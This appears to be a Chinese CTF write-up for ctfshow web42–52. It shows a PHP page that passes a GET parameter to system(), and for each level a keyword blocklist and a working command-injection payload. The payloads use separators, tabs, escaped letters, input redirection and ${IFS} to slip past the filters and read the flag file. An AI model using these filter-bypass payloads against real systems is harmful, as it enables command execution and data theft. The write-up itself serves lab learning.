ctfshow web42-52
慢慢打基础
web42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
-
>/dev/null: 将标准输出(stdout)重定向到“黑洞”设备,即不显示任何正常结果。
-
2>&1: 将标准错误(stderr)也重定向到标准输出,由于标准输出已经进了黑洞,意味着错误信息也不会显示。
所以我们只需用 ; ,将后面重定向的部分截断
?c=tac flag.php;
web43
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了分号和cat;
同时要把system里的>/dev/null 2>&1截断,可以用|| , & , &&
?c=tac fla* ||
web44
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac fla* ||
web45
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了空格,可以使用制表符%09
?c=tac%09fla*||
web46
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
对数字也做了过滤
?c=tac<fl\ag.php||
或者
?c=tac<fla''g.php||
<:是输入重定向符
\:是转义符,执行时 fl\ag 等同于 flag。
'':相邻的引号会被忽略
web47
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac<fl\ag.php||
web48
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac<fl\ag.php||
web49
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac<fl\ag.php||
web50
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=tac<fl\ag.php||
web51
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了tac,跟flag一样,用 \ 绕过,或者使用 nl
?c=ta\c<fl\ag.php||
web52
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
不能使用重定向符了,那还可以使用${IFS}
- ${IFS}: 这是一个 Shell 环境变量(Internal Field Separator),默认包含空格、制表符和换行符。在过滤了空格的情况下,常用于替代空格来分隔命令参数。
?c=ta\c${IFS}fl\ag.php||
访问结果不是真正的flag,还要我们继续找

先看一下根目录
?c=ls${IFS}/||

有个flag目录,访问后就得到flag了
?c=ta\c${IFS}/fl\ag||